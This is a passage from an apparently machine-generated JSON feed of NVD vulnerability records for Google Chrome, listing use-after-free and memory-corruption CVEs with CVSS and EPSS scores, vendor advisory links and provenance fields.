Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113194","asOf":"2026-10-22T15:22:55.707Z"},"epss":{"probability":0.00443,"percentile":0.38242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113194&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113194","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113194","type":"primary","publishedAt":"2026-10-20T22:19:12.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113194&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113194, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113192","cveId":"CVE-2026-113192","aliases":[],"kind":"vulnerability","title":"Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:12.100Z","updatedAt":"2026-10-22T15:23:06.143Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113192","asOf":"2026-10-22T15:23:06.143Z"},"epss":{"probability":0.00443,"percentile":0.38242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113192&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113192","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113192","type":"primary","publishedAt":"2026-10-20T22:19:12.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113192&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113192, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113191","cveId":"CVE-2026-113191","aliases":[],"kind":"vulnerability","title":"Use after free in Internals in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Internals in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Internals in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:11.990Z","updatedAt":"2026-10-22T15:23:16.177Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113191","asOf":"2026-10-22T15:23:16.177Z"},"epss":{"probability":0.00388,"percentile":0.32589,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113191&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113191","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113191","type":"primary","publishedAt":"2026-10-20T22:19:11.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113191&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113191, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113190","cveId":"CVE-2026-113190","aliases":[],"kind":"vulnerability","title":"Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:11.883Z","updatedAt":"2026-10-22T15:23:25.930Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113190","asOf":"2026-10-22T15:23:25.930Z"},"epss":{"probability":0.00388,"percentile":0.3259,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113190&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113190","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113190","type":"primary","publishedAt":"2026-10-20T22:19:11.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113190&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113190, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113188","cveId":"CVE-2026-113188","aliases":[],"kind":"vulnerability","title":"Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:11.640Z","updatedAt":"2026-10-22T15:23:41.977Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113188","asOf":"2026-10-22T15:23:41.977Z"},"epss":{"probability":0.00425,"percentile":0.36536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113188&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113188","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113188","type":"primary","publishedAt":"2026-10-20T22:19:11.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113188&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113188, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113187","cveId":"CVE-2026-113187","aliases":[],"kind":"vulnerability","title":"Use after free in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:11.527Z","updatedAt":"2026-10-22T15:23:51.540Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113187","asOf":"2026-10-22T15:23:51.540Z"},"epss":{"probability":0.00425,"percentile":0.36533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113187&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113187","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113187","type":"primary","publishedAt":"2026-10-20T22:19:11.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113187&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113187, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113185","cveId":"CVE-2026-113185","aliases":[],"kind":"vulnerability","title":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:11.310Z","updatedAt":"2026-10-22T15:24:06.557Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113185","asOf":"2026-10-22T15:24:06.557Z"},"epss":{"probability":0.00443,"percentile":0.3825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113185&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113185","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113185","type":"primary","publishedAt":"2026-10-20T22:19:11.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113185&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113185, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113184","cveId":"CVE-2026-113184","aliases":[],"kind":"vulnerability","title":"Memory corruption in Scheduling in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Scheduling in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Scheduling in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:11.200Z","updatedAt":"2026-10-22T15:24:14.547Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113184","asOf":"2026-10-22T15:24:14.547Z"},"epss":{"probability":0.00443,"percentile":0.38253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113184&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113184","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113184","type":"primary","publishedAt":"2026-10-20T22:19:11.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113184&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113184, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113183","cveId":"CVE-2026-113183","aliases":[],"kind":"vulnerability","title":"Memory corruption in FedCM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in FedCM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in FedCM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:11.087Z","updatedAt":"2026-10-22T15:31:31.730Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113183","asOf":"2026-10-22T15:31:31.730Z"},"epss":{"probability":0.00443,"percentile":0.38252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113183&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113183","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113183","type":"primary","publishedAt":"2026-10-20T22:19:11.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113183&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113183, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113182","cveId":"CVE-2026-113182","aliases":[],"kind":"vulnerability","title":"Memory corruption in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:10.977Z","updatedAt":"2026-10-22T15:31:38.593Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113182","asOf":"2026-10-22T15:31:38.593Z"},"epss":{"probability":0.00452,"percentile":0.39027,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113182&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113182","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113182","type":"primary","publishedAt":"2026-10-20T22:19:10.977Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113182&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113182, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113181","cveId":"CVE-2026-113181","aliases":[],"kind":"vulnerability","title":"Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:10.870Z","updatedAt":"2026-10-22T15:31:43.617Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113181","asOf":"2026-10-22T15:31:43.617Z"},"epss":{"probability":0.00443,"percentile":0.38238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113181&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113181","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113181","type":"primary","publishedAt":"2026-10-20T22:19:10.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113181&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113181, scored 2026-10-25. This is a model estimate, not proof of 